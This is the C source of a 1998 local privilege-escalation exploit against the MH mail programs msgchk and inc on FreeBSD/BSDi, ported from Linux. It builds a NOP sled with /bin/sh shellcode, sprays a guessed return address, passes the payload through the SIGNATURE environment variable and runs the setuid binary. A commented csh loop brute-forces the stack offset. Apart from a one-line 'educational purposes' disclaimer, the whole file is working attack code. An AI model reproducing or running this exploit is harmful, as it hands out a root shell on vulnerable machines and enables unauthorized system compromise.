/* private */
/*
 * mh/msgchk, mh/inc _demonstration_ LOCAL exploit for FreeBSD/BSDi
 *   ( ported from linux ) 4-Apr-1998 by stran9er
 *
 * Based:
 *   on some bsd_lpr_exploit.c by unknown author..
 *   and info from bugtraq
 *
 * Disclaimer:
 *   this program is for (demo) educational purposes only.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET        1000
 /*   700..1500  step 100 */
 /* -3700..-2700 step 100 */
 /*  -1000 for bsdi4
  *
#!/bin/csh
set v = -5000
while ($v < 5000)
echo try $v
./mh684bsd $v
@ v+=100
end
  *
  */

#define BUFFER_SIZE           4000
#define BUFFER_NOP            999

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int offset = DEFAULT_OFFSET;

   char execshell[] =
      "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
      "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
      "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
      "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

   int i;
   if (argc>1) offset = atoi(argv[1]);
   fprintf (stderr,"\nUsing offset %d (esp==%x)\n",offset,get_esp());
   buff = malloc(BUFFER_SIZE);
   if(!buff) {printf("can't allocate memory\n");exit(0);}

   ptr = buff;

   memset(ptr, 0x90, BUFFER_SIZE);

   ptr += BUFFER_NOP-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i<(BUFFER_SIZE-BUFFER_NOP)/4;i++)
      *(addr_ptr++) = get_esp() + offset;

   ptr = (char *)addr_ptr;
   *ptr = 0;
   strncpy (buff,":)From:md@lspvs.sorosis.ro  ",28); /* i said - ported from linux.. */

   fprintf (stderr,"\nesp+offset==%x\n",get_esp()+offset);
   setenv("SIGNATURE",buff,1);
   execl ("/usr/contrib/mh/bin/msgchk", "msgchk", NULL);
//   execl ("/usr/contrib/mh/bin/inc", "inc", NULL);
   fprintf (stderr,"execl error...");
}

/* private */